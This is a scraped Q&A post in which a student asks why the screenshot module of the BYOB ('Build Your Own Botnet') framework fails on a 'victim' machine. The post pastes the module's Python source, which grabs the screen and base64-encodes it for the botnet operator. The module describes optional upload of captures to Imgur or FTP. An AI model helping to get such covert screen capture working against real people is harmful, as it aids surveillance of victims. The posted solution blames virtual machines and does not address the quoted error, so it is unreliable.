Follow

Keep Up to Date with the Most Important News

By pressing the Subscribe button, you confirm that you have read and are agreeing to our Privacy Policy and Terms of Use
Contact

The screenshot function not working in byob api

I am using the byob api for a course in my education, the teacher told us to use all the features of this api and to debug the problem if one of them doesn’t work. Taking screenshot of the victim is not working for me, after an analysis of the different modules I found the code of the screenshot function, but I could not find where the exact problem is.

Personally, I think the problem is the victim’s OS version (a newer kernel so it’s not vulnerable to this attack).

Here is the code for the screenshot function :

MEDevel.com: Open-source for Healthcare and Education

Collecting and validating open-source software for healthcare, education, enterprise, development, medical imaging, medical records, and digital pathology.

Visit Medevel

#!/usr/bin/python
# -*- coding: utf-8 -*-
'Screenshot (Build Your Own Botnet)'

# standard library
import base64

# packages
import mss

# modules
import util

# globals
command = True
packages = ['mss','util']
platforms = ['win32','linux2','darwin']
usage = 'screenshot [imgur/ftp] [option=value, ...]'
description = """
Capture a screenshot on the client and optionally upload anonymously to
Imgur or to a remote FTP server (default: save image on local host machine)
"""

# main
def run():
    """
    Capture a screenshot
    """
    try:
        with mss.mss() as screen:
            img = screen.grab(screen.monitors[0])
        data = util.png(img)
        return base64.b64encode(data)
    except Exception as e:
        return "{} error: {}".format(run.__name__, str(e))

The error :

screenshot error: 'module' object has no attribute 'run'

>Solution :

The screenshot module doesn’t always work properly on virtual machines because of limitations of the underlying library used to take the screenshots (mss).
Try running the client on a physical computer and trying the screenshot command again.

Add a comment

Leave a Reply

Keep Up to Date with the Most Important News

By pressing the Subscribe button, you confirm that you have read and are agreeing to our Privacy Policy and Terms of Use

Discover more from Dev solutions

Subscribe now to keep reading and get access to the full archive.

Continue reading